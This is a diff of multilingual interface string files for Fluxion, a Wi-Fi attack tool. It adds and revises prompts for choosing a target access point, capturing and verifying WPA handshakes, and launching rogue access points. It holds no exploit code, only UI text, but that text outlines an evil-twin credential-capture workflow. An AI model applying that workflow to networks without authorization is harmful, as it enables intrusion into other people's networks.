FLUXIONScannerChannelSingleTip="Einzelne Frequenz"
|
||||||
FLUXIONScannerChannelMiltipleTip="Mehrere Kanäle"
|
FLUXIONScannerChannelMiltipleTip="Mehrere Frequenzen"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerHeader="FLUXION Scanner"
|
FLUXIONScannerHeader="FLUXION Scanner"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
@ -48,15 +49,15 @@ FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Langsame Verbindung
|
||||||
FLUXIONHashSourceQuery="Wähle eine Methode aus um den Handshake zu erlangen"
|
FLUXIONHashSourceQuery="Wähle eine Methode aus um den Handshake zu erlangen"
|
||||||
FLUXIONHashSourcePathOption="Handshake Pfad eingeben"
|
FLUXIONHashSourcePathOption="Handshake Pfad eingeben"
|
||||||
FLUXIONHashSourceRescanOption="Handshake Ordner neu einlesen"
|
FLUXIONHashSourceRescanOption="Handshake Ordner neu einlesen"
|
||||||
FLUXIONFoundHashNotice="Ein hash wurde für das Netzwerk gefunden"
|
FLUXIONFoundHashNotice="Ein Hash wurde für das Netzwerk gefunden"
|
||||||
FLUXIONUseFoundHashQuery="Möchten sie dieses Netzwerk nutzen"
|
FLUXIONUseFoundHashQuery="Möchten Sie dieses Netzwerk nutzen?"
|
||||||
FLUXIONHashVerificationMethodQuery="Wählen sie eine Methode um den Hash zu Verifizieren"
|
FLUXIONHashVerificationMethodQuery="Wählen sie eine Methode um den Hash zu verifizieren"
|
||||||
FLUXIONHashVerificationMethodPyritOption="Pyrit Verifizierung (${CGrn}Empfohlen$CClr)"
|
FLUXIONHashVerificationMethodPyritOption="Pyrit verifizierung (${CGrn}Empfohlen$CClr)"
|
||||||
FLUXIONHashVerificationMethodAircrackOption="Aircrack Verfizierung (${CYel}Unglaubwürdig$CClr)"
|
FLUXIONHashVerificationMethodAircrackOption="Aircrack verfizierung (${CYel}Nicht empfohlen$CClr)"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONAttackQuery="Wählen Sie einen drahtlosen Angriff für den Zugangspunkt aus"
|
FLUXIONAttackQuery="Wählen Sie einen drahtlosen Angriff für den Zugangspunkt aus"
|
||||||
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr Angriff gestartet"
|
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr Angriff gestartet"
|
||||||
FLUXIONSelectAnotherAttackOption="Wähle einen anderen Angriff"
|
FLUXIONSelectAnotherAttackOption="Wählen Sie einen anderen Angriff"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONGeneralBackOption="${CRed}Zurück"
|
FLUXIONGeneralBackOption="${CRed}Zurück"
|
||||||
FLUXIONGeneralExitOption="${CRed}Ausgang"
|
FLUXIONGeneralExitOption="${CRed}Ausgang"
|
||||||
|
@ -65,7 +66,7 @@ FLUXIONGeneralNotFoundError="Nicht gefunden"
|
||||||
FLUXIONGeneralXTermFailureError="${CRed}Xterm Terminal konnte nicht gestartet werden"
|
FLUXIONGeneralXTermFailureError="${CRed}Xterm Terminal konnte nicht gestartet werden"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONCleanupAndClosingNotice="Aufräumen und schließen"
|
FLUXIONCleanupAndClosingNotice="Aufräumen und schließen"
|
||||||
FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr"
|
FLUXIONKillingProcessNotice="Beende ${CGry}\$targetID$CClr"
|
||||||
FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr"
|
FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr"
|
||||||
FLUXIONDisablingMonitorNotice="Deaktivierung der Netzwerkkarte"
|
FLUXIONDisablingMonitorNotice="Deaktivierung der Netzwerkkarte"
|
||||||
FLUXIONDisablingExtraInterfacesNotice="Deaktivierung der Netzwerkkarte"
|
FLUXIONDisablingExtraInterfacesNotice="Deaktivierung der Netzwerkkarte"
|
||||||
|
|
|
@ -35,6 +35,7 @@ FLUXIONAbsolutePathInfo="Εισαγετε διαδρομή αρχειου"
|
||||||
FLUXIONScannerChannelQuery="Επίλεξτε κανάλι"
|
FLUXIONScannerChannelQuery="Επίλεξτε κανάλι"
|
||||||
FLUXIONScannerChannelOptionAll="Όλα τα κανάλια"
|
FLUXIONScannerChannelOptionAll="Όλα τα κανάλια"
|
||||||
FLUXIONScannerChannelOptionSpecific="Συγκεκριμένο(α) κανάλι(α)"
|
FLUXIONScannerChannelOptionSpecific="Συγκεκριμένο(α) κανάλι(α)"
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerChannelSingleTip="Ενα κανάλι"
|
FLUXIONScannerChannelSingleTip="Ενα κανάλι"
|
||||||
FLUXIONScannerChannelMiltipleTip="Πολλαπλά κανάλια"
|
FLUXIONScannerChannelMiltipleTip="Πολλαπλά κανάλια"
|
||||||
|
|
|
@ -3,22 +3,36 @@
|
||||||
# native: English
|
# native: English
|
||||||
|
|
||||||
FLUXIONInterfaceQuery="Select a wireless interface"
|
FLUXIONInterfaceQuery="Select a wireless interface"
|
||||||
FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..."
|
FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"."
|
||||||
FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..."
|
FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"."
|
||||||
|
FLUXIONReidentifyingInterface="Renaming interface."
|
||||||
|
FLUXIONUnblockingWINotice="Unblocking all wireless interfaces."
|
||||||
|
|
||||||
|
FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking."
|
||||||
|
|
||||||
|
#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..."
|
||||||
FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..."
|
FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..."
|
||||||
FLUXIONFindingWINotice="Looking for available wireless interfaces..."
|
FLUXIONFindingWINotice="Looking for available wireless interfaces..."
|
||||||
FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!"
|
FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!"
|
||||||
FLUXIONSelectedBusyWITip="Run \"export FLUXIONWIKillProcesses=1\" before FLUXION to use it."
|
FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}."
|
||||||
FLUXIONGatheringWIInfoNotice="Gathering interface information..."
|
FLUXIONGatheringWIInfoNotice="Gathering interface information..."
|
||||||
FLUXIONUnknownWIDriverError="Unable to determine interface driver!"
|
FLUXIONUnknownWIDriverError="Unable to determine interface driver!"
|
||||||
FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to unload..."
|
FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..."
|
||||||
FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to load..."
|
FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..."
|
||||||
FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..."
|
FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..."
|
||||||
FLUXIONKillingConflictingProcessesNotice="Killing notorious services..."
|
FLUXIONKillingConflictingProcessesNotice="Killing notorious services..."
|
||||||
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!"
|
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!"
|
||||||
FLUXIONStartingWIMonitorNotice="Starting monitor interface..."
|
FLUXIONStartingWIMonitorNotice="Starting monitor interface..."
|
||||||
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Interface monitor mode enabled."
|
FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!"
|
||||||
FLUXIONMonitorModeWIFailedError="${CRed}Interface monitor mode failed!"
|
FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!"
|
||||||
|
|
||||||
|
|
||||||
|
FLUXIONIncompleteTargettingInfoNotice="Missing essid, bssid, or channel information!"
|
||||||
|
|
||||||
|
FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above."
|
||||||
|
|
||||||
|
FLUXIONContinueWithTargetQuery="Continue with this target?"
|
||||||
|
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONStartingScannerNotice="Starting scanner, please wait..."
|
FLUXIONStartingScannerNotice="Starting scanner, please wait..."
|
||||||
FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner."
|
FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner."
|
||||||
|
@ -29,8 +43,10 @@ FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..
|
||||||
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
||||||
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
||||||
FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!"
|
FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!"
|
||||||
FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)"
|
FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /path/to/file.cap)"
|
||||||
|
FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank."
|
||||||
FLUXIONAbsolutePathInfo="Absolute path"
|
FLUXIONAbsolutePathInfo="Absolute path"
|
||||||
|
FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file."
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerChannelQuery="Select a channel to monitor"
|
FLUXIONScannerChannelQuery="Select a channel to monitor"
|
||||||
FLUXIONScannerChannelOptionAll="All channels"
|
FLUXIONScannerChannelOptionAll="All channels"
|
||||||
|
@ -41,23 +57,23 @@ FLUXIONScannerChannelMiltipleTip="Multiple channels"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerHeader="FLUXION Scanner"
|
FLUXIONScannerHeader="FLUXION Scanner"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONAPServiceQuery="Select an access point service"
|
|
||||||
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)"
|
|
||||||
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)"
|
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
|
||||||
FLUXIONHashSourceQuery="Select a method to retrieve the handshake"
|
FLUXIONHashSourceQuery="Select a method to retrieve the handshake"
|
||||||
FLUXIONHashSourcePathOption="Path to capture file"
|
FLUXIONHashSourcePathOption="Path to capture file"
|
||||||
FLUXIONHashSourceRescanOption="Handshake directory (rescan)"
|
FLUXIONHashSourceRescanOption="Rescan handshake directory"
|
||||||
FLUXIONFoundHashNotice="A hash for the target AP was found."
|
FLUXIONFoundHashNotice="A hash for the target AP was found."
|
||||||
FLUXIONUseFoundHashQuery="Do you want to use this file?"
|
FLUXIONUseFoundHashQuery="Do you want to use this file?"
|
||||||
|
FLUXIONUseFoundHashOption="Use hash found"
|
||||||
|
FLUXIONSpecifyHashPathOption="Specify path to hash"
|
||||||
FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash"
|
FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash"
|
||||||
FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}recommended$CClr)"
|
FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}recommended$CClr)"
|
||||||
FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)"
|
FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONAttackQuery="Select a wireless attack for the access point"
|
FLUXIONAttackQuery="Select a wireless attack for the access point"
|
||||||
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr attack in progress..."
|
FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..."
|
||||||
FLUXIONSelectAnotherAttackOption="Select another attack"
|
FLUXIONSelectAnotherAttackOption="Select another attack"
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
FLUXIONGeneralSkipOption="${CYel}Skip"
|
||||||
FLUXIONGeneralBackOption="${CRed}Back"
|
FLUXIONGeneralBackOption="${CRed}Back"
|
||||||
FLUXIONGeneralExitOption="${CRed}Exit"
|
FLUXIONGeneralExitOption="${CRed}Exit"
|
||||||
FLUXIONGeneralRepeatOption="${CRed}Repeat"
|
FLUXIONGeneralRepeatOption="${CRed}Repeat"
|
||||||
|
|
|
@ -44,6 +44,7 @@ FLUXIONScannerHeader="FLUXION Escáner"
|
||||||
FLUXIONAPServiceQuery="Seleccione Opción de Ataque"
|
FLUXIONAPServiceQuery="Seleccione Opción de Ataque"
|
||||||
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recomendado$CClr)"
|
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recomendado$CClr)"
|
||||||
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Conexión más lenta$CClr)"
|
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Conexión más lenta$CClr)"
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashSourceQuery="Select a method to retrieve the handshake"
|
FLUXIONHashSourceQuery="Select a method to retrieve the handshake"
|
||||||
FLUXIONHashSourcePathOption="Path to capture file"
|
FLUXIONHashSourcePathOption="Path to capture file"
|
||||||
|
|
|
@ -44,6 +44,7 @@ FLUXIONScannerHeader="Scanner FLUXION"
|
||||||
FLUXIONAPServiceQuery="Sélectionnez une option d'attaque"
|
FLUXIONAPServiceQuery="Sélectionnez une option d'attaque"
|
||||||
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommandé$CClr)"
|
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommandé$CClr)"
|
||||||
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Connexion plus lente$CClr)"
|
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Connexion plus lente$CClr)"
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashSourceQuery="Sélectionnez une méthode de récupération de handshake"
|
FLUXIONHashSourceQuery="Sélectionnez une méthode de récupération de handshake"
|
||||||
FLUXIONHashSourcePathOption="Chemin du fichier capturé"
|
FLUXIONHashSourcePathOption="Chemin du fichier capturé"
|
||||||
|
|
|
@ -53,6 +53,7 @@ FLUXIONUseFoundHashQuery="Vuoi usare questo file?"
|
||||||
FLUXIONHashVerificationMethodQuery="Seleziona il metodo di verifica dell'hash"
|
FLUXIONHashVerificationMethodQuery="Seleziona il metodo di verifica dell'hash"
|
||||||
FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}raccomandato$CClr)"
|
FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}raccomandato$CClr)"
|
||||||
FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}inaffidabile$CClr)"
|
FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}inaffidabile$CClr)"
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONAttackQuery="Seleziona la tua scelta"
|
FLUXIONAttackQuery="Seleziona la tua scelta"
|
||||||
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr attacco in corso..."
|
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr attacco in corso..."
|
||||||
|
|
|
@ -31,6 +31,7 @@ FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
||||||
FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!"
|
FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!"
|
||||||
FLUXIONPathToHandshakeFileQuery="Podaj ścieżkę dostępu do pliku handshake $CClr(Example: /.../dump-01.cap)"
|
FLUXIONPathToHandshakeFileQuery="Podaj ścieżkę dostępu do pliku handshake $CClr(Example: /.../dump-01.cap)"
|
||||||
FLUXIONAbsolutePathInfo="Absolute path"
|
FLUXIONAbsolutePathInfo="Absolute path"
|
||||||
|
FluxionRestartOption="Restart"s
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerChannelQuery="Wybierz kanał do monitorowania"
|
FLUXIONScannerChannelQuery="Wybierz kanał do monitorowania"
|
||||||
FLUXIONScannerChannelOptionAll="Wszystkie kanały"
|
FLUXIONScannerChannelOptionAll="Wszystkie kanały"
|
||||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
||||||
FLUXIONPreparingScannerResultsNotice="Sintetizando os resultados da varredura, aguarde..."
|
FLUXIONPreparingScannerResultsNotice="Sintetizando os resultados da varredura, aguarde..."
|
||||||
FLUXIONScannerFailedNotice="Wireless card não suportado (sem APs encontrados)"
|
FLUXIONScannerFailedNotice="Wireless card não suportado (sem APs encontrados)"
|
||||||
FLUXIONScannerDetectedNothingNotice="Sem APs encontrados, retornando..."
|
FLUXIONScannerDetectedNothingNotice="Sem APs encontrados, retornando..."
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashFileDoesNotExistError="Arquivo hash não existe!"
|
FLUXIONHashFileDoesNotExistError="Arquivo hash não existe!"
|
||||||
FLUXIONHashInvalidError="${CRed}Error$CClr, arquivo hash inválido!"
|
FLUXIONHashInvalidError="${CRed}Error$CClr, arquivo hash inválido!"
|
||||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
||||||
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
||||||
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
||||||
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
||||||
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
||||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Päť sekúnd po objavení sa cieľového AP, zavrite
|
||||||
FLUXIONPreparingScannerResultsNotice="Výsledky scanu sa pripravujú, čakajte..."
|
FLUXIONPreparingScannerResultsNotice="Výsledky scanu sa pripravujú, čakajte..."
|
||||||
FLUXIONScannerFailedNotice="Bezdrôtová sieťová karta nemusí byť podporovaná (nenašli sa žiadne AP)"
|
FLUXIONScannerFailedNotice="Bezdrôtová sieťová karta nemusí byť podporovaná (nenašli sa žiadne AP)"
|
||||||
FLUXIONScannerDetectedNothingNotice="Žiadne prístupové body neboli najdené, vraciam sa..."
|
FLUXIONScannerDetectedNothingNotice="Žiadne prístupové body neboli najdené, vraciam sa..."
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashFileDoesNotExistError="Súbor 'hash' neexistuje!"
|
FLUXIONHashFileDoesNotExistError="Súbor 'hash' neexistuje!"
|
||||||
FLUXIONHashInvalidError="${CRed}Error$CClr, nesprávny 'hash' súbor!"
|
FLUXIONHashInvalidError="${CRed}Error$CClr, nesprávny 'hash' súbor!"
|
||||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
||||||
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
||||||
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
||||||
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
||||||
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
||||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
||||||
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
||||||
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
||||||
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
||||||
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
||||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
||||||
FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..."
|
FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..."
|
||||||
FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)"
|
FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)"
|
||||||
FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..."
|
FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..."
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashFileDoesNotExistError="Hash文件不存在!"
|
